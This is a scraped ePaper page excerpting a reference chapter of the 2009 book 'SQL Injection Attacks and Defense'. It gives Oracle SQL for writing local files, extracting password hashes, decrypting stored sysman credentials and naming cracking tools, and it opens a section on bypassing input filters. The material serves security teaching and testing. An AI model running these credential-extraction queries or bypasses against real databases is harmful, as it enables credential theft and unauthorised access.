28.10.2014 Views

SQL Injection Attacks and Defense - 2009

SQL Injection Attacks and Defense - 2009

SQL Injection Attacks and Defense - 2009

SHOW MORE
SHOW LESS

Create successful ePaper yourself

Turn your PDF publications into a flip-book with our unique Google optimized e-Paper software.

440 Chapter 10 • References<br />

UTL_FILE.fclose(fi);<br />

END;<br />

/<br />

Writing Local Files: dbms_advisor (Oracle 10g <strong>and</strong> later)<br />

create directory MYDIR as 'C:\';<br />

exec SYS.DBMS_ADVISOR.CREATE_FILE ( 'This is the content'||chr(13)||'Next line',<br />

'MYDIR', 'myfile.txt');<br />

Cracking Database Passwords<br />

Depending on the version of the database, you can extract password hashes from the database<br />

by executing one of the following queries:<br />

SELECT name, password FROM sys.user$ where type#>0 <strong>and</strong> length(password)=16;<br />

-- DES Hashes (7-11g)<br />

SELECT name, spare4 FROM sys.user$ where type#>0 <strong>and</strong> length(spare4)=62;<br />

-- SHA1 Hashes<br />

More than 100 Oracle tables (depending on the installed components) contain password<br />

information. Sometimes the passwords are available as clear text. The following examples will<br />

attempt to extract clear-text passwords:<br />

select view_username, sysman.decrypt(view_password) from<br />

sysman.mgmt_view_user_credentials;<br />

select credential_set_column, sysman.decrypt(credential_value) from<br />

sysman.mgmt_credentials2;<br />

select sysman.decrypt(aru_username), sysman.decrypt(aru_password) from<br />

sysman.mgmt_aru_credentials;<br />

Oracle password hashes can then be cracked using a variety of freely available tools, such<br />

as Woraauthbf, John the Ripper, Gsauditor, Checkpwd, <strong>and</strong> Cain & Abel. See the resources<br />

section at the end of this chapter for links to download each tool.<br />

Bypassing Input Validation Filters<br />

You frequently can bypass input validation filters that rely on rejecting known bad characters<br />

<strong>and</strong> string literals by encoding your input. This section provides a reference of the most<br />

common encoding techniques used to bypass input validation filters that operate in this way.<br />

Quote Filters<br />

The single-quote character (‘) is synonymous with <strong>SQL</strong> injection attacks. As such, the singlequote<br />

character is often filtered or doubled up as a defense mechanism. The idea behind this<br />

approach is to prevent the attacker from breaking out of quote-delimited data. Unfortunately,<br />

this strategy fails when the vulnerable user input is a numeric value, <strong>and</strong> therefore is not<br />

delimited using quote characters.

Hooray! Your file is uploaded and ready to be published.

Saved successfully!

Ooh no, something went wrong!